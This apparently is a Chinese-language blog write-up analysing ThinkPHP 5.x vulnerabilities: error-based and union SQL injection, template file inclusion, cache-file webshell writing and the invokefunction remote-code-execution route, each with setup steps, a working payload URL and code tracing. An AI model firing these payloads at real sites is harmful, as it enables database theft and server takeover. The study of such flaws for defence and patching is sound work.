Thinkphp5_x(不包含反序列化)
版权申明:本文为原创文章,转载请注明原文出处
Thinkphp5_x(不包含反序列化)
Thinkphp5_x(不包含反序列化)
参考链接:https://github.com/lu2ker/PHP-Code
可能被利用的函数
array_search()
1 | array_search ( mixed $needle , array $haystack , bool $strict=false ) # 在数组中搜索给定值,如果成功则返回第一个对应的键。 |
如果第三个参数没有主动设置为true(默认为false),则有绕过的可能性。
如果为false则进行弱比较匹配(不比较类型),意味着 PHP 会在进行比较时进行弱类型转换。在某些情况下,这种类型转换可能会导致意外的结果,从而引发漏洞。
例如,在某些情况下,array_search()
可能会在搜索字符串时将字符串与数字进行比较。如果字符串的内容可以被解释为数字,则
PHP
将尝试将其转换为数字,并将其视为相等。这种行为可能被恶意利用,导致安全漏洞。
in_array()
1 | in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool #检查数组中是否存在某个值 |
当in_array()函数的第三个参数未设置为true时(默认为false),会进行弱比较,可能会引发漏洞
filter_var()
1 | filter_var( mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0) : mixed # 使用特定的过滤器过滤一个变量。 |
FILTER_VALIDATE_URL 过滤器把$value作为 URL
来验证,验证其是否是URL格式的字符串,但是有一个很大的问题是
这个过滤器的”宽容性很高“,类似于qwe://这种形式的URL都可以通过它的过滤。
经过一些测试发现,形如xxx://xxx即可验证通过该过滤器。但是如果前半部分是http://的话,正斜杠后边不允许有特殊字符了。比如http://><"";''是不行的但是qwe://><"";''确实可以通过过滤的。
class_exists()
1 | class_exists ( string $class , bool $autoload = true ) : bool # 检查指定的类是否已定义。$autoload是是否默认调用__autoload函数。 |
自动包含漏洞,可以使用../路径穿越来实现任意文件包含。但是,只有在PHP5~5.3(含)中才可以在class_exists()中传入../达到目的,高版本php中向class_exists中传入../是不会调用__autoload()的。
strpos()
1 | strpos ( string $haystack , mixed $needle , int $offset = 0 ) : int # 返回 needle 在 haystack 中首次出现的数字位置。如果提供了$offset,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。 |
返回的是int而不是bool,因此如果数字位置是0则效果和false一样
escapeshellarg()和escapeshellcmd()
...
下载安装
composer安装
1 | curl -sS https://getcomposer.org/installer | php |
sql1
环境
thinkphp5.0.15下载
1 | composer create-project topthink/think=5.0.15 tp5 |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
测试代码
1 |
|
payload:
1 | ~/public/index.php/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,database(),0x7e),1)&username[2]=1 |
代码分析
从代码本身上应该是获取username参数然后插入到数据库中,最后返回更新成功结果

先随便传入一个参数分析代码执行过程
首先是调用get方法,如果this->get参数为空就将获取到的get参数传递给this->get,然后判断name是否为数组,这里的name不是数组,会进入到下面的input函数

在该函数中,将username按照了/进行分割,name为username,type为a

在下面代码中进行了类型检查和强制数组类型转换,各type含义如下:

由此返回的username参数就是get获取到的参数的数组形式

然后进入数据库的插入函数,data进行了合并数组,结果还是之前的[username:["hello"]],这里我发现返回的sql结果是0,进入该函数分析

查看这里的insert函数,首先进行了解析数据,这里data就直接返回空了,查看该函数

这里的val就是data转换为list形式,没有键,即["hello"],因此此处的比较无法通过,最后返回的就是空

因此重新传入危险参数,再次调试到该步
1 | username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 |
此时的val就是长度为3的数组,第二个参数是很常见的报错注入

传递后的结果如图所示,主要是此处的parseKey没有对变量值进行有效过滤

最后返回的结果相当于把username作为的是列名字,后面的参数是要插入的值,最后返回的sql语句如下

因此引发报错注入,会显示用户

sql2
环境
thinkphp5.0.15下载
1 | composer create-project --prefer-dist topthink/think=5.1.0 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
测试代码
1 |
|
payload
1 | ~/public/?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0 |
代码分析
通过观察可以看到前面获取username方法是一样的,主要分析此处的where函数,但从该语句的格式应该是更新id为1处的username为获取到的参数
用payload进行调试,可以看到此时的this就是传入的参数的内容

那sql代码的执行应该就是在下面的update函数里面,通过查看该函数内容,可以看到sql语句生成过程

在此处的parsedata应该就是对传入的username进行过滤清洗转换为可用形式

在parseData函数里面的parseArrayData就是清洗的具体函数,用于解析数组形式的数据并返回相应的数据库查询语句片段,首先获取data的第一二个参数给type和value,fun是第三个参数,point是第四个参数,然后进行重新组合,会生成类似于
'GeomFromText('POINT(x y)')'
的字符串。而该函数本身的用意是将坐标 (x, y) 转换成几何点的
MySQL
函数调用,在此处我们通过构造poc替代这里的函数,使得最后生成的函数是我们的报错注入的内容

生成result之后后面就会拼接成sql语句,然后执行,最后实现报错注入

sql3
环境
thinkphp5.0.10下载
1 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
测试代码
1 |
|
payload
1 | ~/public/index.php?username==updatexml(1,concat(0x7,database(),0x7e),1) |
代码分析
首先看到此处已经不是username/a,说明可能强制数组类型转换,先随便传入参数进行调试分析,有此处看到由于前面传入的没有/a,所以此处type会被设置为s,s是强制转换为字符串类型

下面返回之前进行强制字符串类型转换,该处的data就是返回的username

接着分析第二段代码

这是前面流程基本一致,这是生成的sql函数

此处就是单纯对sql语句进行了拼接,应该没有检查,通过添加等号就可以看到可以成功执行了

因此还是可以通过报错注入做

sql4
环境
thinkphp5.0.10下载
1 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
测试代码
1 |
|
payload
1 | ~/public/index.php?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23 |
代码分析
直接根据payload调试代码理解代码执行过程
$username还是数组形式,直接分析result代码,代码执行过程就是db->where->select,前面两个和传入的参数关系不大,这里直接分析select函数,跳转到此处的sql之前我们传入的参数并没有被使用,这里的options包含了我们传入的参数的内容

在select函数中主要是通过获取各参数值进行sql语句的生成,我们主要关注和payload有关的where

如下所示,先进入buildwhere函数

最后返回的wherestr和此处的str有关,继续查看相关函数

在此处将第一个和第二个参数分别赋值给了exp和value

后面会检查value是否为标量,如果是就会重新对value赋值,而我们此处的value是数组,还有后面对exp的过滤,发现少了not like

接着进行模糊匹配

生成以下内容

最后的wherestr如图所示

最后构造出的sql语句

最终执行效果

sql5
环境
thinkphp5.1.22下载
1 | composer create-project --prefer-dist topthink/think=5.1.22 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
测试代码
1 |
|
payload
1 | ~/public/index.php?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1 |
代码分析
在本项目中传入的是orderby参数,并且是通过数组赋值的方式进行传递的,通过get方法理解orderby参数获取

传递进的orderby如图所示

通过getdata变成字符串数组

最后返回给orderby参数的值为

现在进入下面sql执行过程,在order函数中将传入的orderby参数给了order

然后将options传递给connection的find方法

如下是根据payload生成的order参数

生成的sql语句为
1 | SELECT * FROM `users` WHERE `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1 |
最终效果

sql6
环境
沿用上文环境
测试代码
1 |
|
payload
1 | ~/public/index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23 |
代码分析
第一行代码还是一样,直接看获取到的options参数

进入max函数查看代码执行流程,max函数中只调用了aggregate方法,而aggregate方法中又调用了connection的aggregate方法

在该函数中重新构造了field

接着进入value函数,value函数中的该部分会将field转换为字符串数组形式

接着设置query的参数

最后的sql语句就是构造的field
1 | SELECT MAX(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#`) AS tp_max FROM `users` LIMIT 1 |
效果如图所示

文件包含7
环境
thinkphp5.0.18下载
1 | composer create-project --prefer-dist topthink/think=5.0.18 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
测试代码
1 |
|
创建 application/index/view/index/index.html
文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马
1.jpg 放至 public
目录下(模拟上传图片操作)。接着访问~/public/index.php?cacheFile=1.jpg
链接,即可触发 文件包含漏洞 。
payload
1 | ~/public/index.php?cacheFile=1.jpg |
代码分析
首先通过request()->get()获取get参数

接着调用input方法进行过滤或者类型转换,此处没有类型转换,最后返回的data就是传递进来的值

接着进入assign函数,在该函数中直接调用了view的assign函数

现在进入view的assign函数,这里直接将name给了this->data,没有过滤

最后回到主函数,由此,第一行代码的主要用处就是将get参数赋值给this->data,接着进入fetch函数,同样也是直接调用的view的fetch函数

首先将文件名赋值给var

在此处有对vars变量的利用

在该函数中首先进行模板文件调取,成功就进入下面的template的fetch函数

在template的fetch函数中,将data值赋值给了this->data变量,下面主要关注对该变量的使用,如下所示,进入了read函数

在此处调用了extract函数,经过调试测试发现在运行该函数之后cachefile的值就会变成vars的值,应该是extract会将缓存变量覆盖成vars变量的值,最终导致cacheFile的改变

效果呈现

代码执行8
环境
thinkphp5.0.10下载
1 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
测试代码
1 |
|
payload
1 | ~/public/index.php?username=mochazz123%0d%0a@eval($_GET[_]);// |
代码分析
可以确定全部操作都是在第一行代码运行出的,首先进入input函数,经过调试在整个input函数中并没有对传入的get参数进行操作,只是将get.username拆分成了get和username,分别给了method和key,最后返回request的method

然后就会进入get函数,和前面一样,get函数将会获取get参数内容,并在最后调用input方法

在input函数中会对data进行强制类型转换,由于前面没有指定,因此转换的类型就是字符串形式,最后返回的data如下

接着进入set方法,看来主要就是下面的set方法

首先是init函数,对self进行初始化

然后是set函数,首先根据name获取要存入的文件的filename

如下是filename的具体生成过程

然后将value序列化给data,然后加上前后缀,就直接放入前面生成的filename所指定的文件,由于缺少内容过滤过程,因此很容易被写入恶意代码

最终实验效果如下,由于开启了火绒,文件会被自动删除
代码执行9
环境
thinkphp5.1.30下载
1 | composer create-project --prefer-dist topthink/think=5.1.30 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
payload
1 | ~/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |
代码分析
首先明确 index/\think\app/invokefunction
是路径信息,pathinfo,指定了请求的处理逻辑,call_user_func_array
应该是请求的函数,vars是两个变量
从此处的pathinfo函数进行分析,此处的var_pathinfo就是s,代表的是兼容参数,因此我们传入的第一个参数的值会被赋值给$pathinfo

接着进入path函数,去除了正常的url后缀,最后返回的path还是
index/\think\app/invokefunction

接着在routecheck函数中检查是否为强制路由模式

然后进入check方法,在此处又会对url进行检测,这里的url就是前面的path

在这个 check 方法中,首先会检测别名路由,然后检测 URL
绑定。如果检测到任何一个条件匹配成功,就会返回相应的结果。如果没有匹配到别名路由或者
URL 绑定,就会继续检测是否有设置了 append 或
middleware
选项,如果有的话,会进行相应的处理。在当前情况下以上条件都不满足,则会调用父类的
check 方法进行检测。

最后返回的结果还是false,表示请求的URL不正确或者不在预期的范围内。

然后返回前面的check函数,在此处对must进行了判断,如果是强制路由就引发异常,在此处不是

然后进行url解析,此处的this->dispatch就是s的值

然后进入parseurlpath函数,返回的path和var的值如下所示

接着就是解析模块,在该模块中对控制器和运行函数都进行了解析

接着封装路由并返回

这个函数将会返回执行结果

最后在dispatch函数中调用了call_user_func,将后面传入的两个参数分别作为命令和参数,因为在request里面制定了模块,控制器,方法,还有参数

运行结果如图所示

代码执行10
环境
thinkphp5.0.23下载
1 | composer create-project --prefer-dist topthink/think=5.0.23 tpdemo |
修改composer.json文件
1 | "require": { |
同目录下执行composer update
payload

代码分析
该实验主要的漏洞点在于此处的method方法不对post的数据进行过滤,用户可以构造成自己想执行的this的方法,此处采取构造成construct方法

然后接着就会调用construct方法,而construct方法就是对变量进行覆盖

这里我们主要是利用filtervalue函数中call_user_func方法,因此覆盖的就是filter和value

实验效果

Thinkphp5_x(不包含反序列化)
install_url to use ShareThis. Please set it in _config.yml.



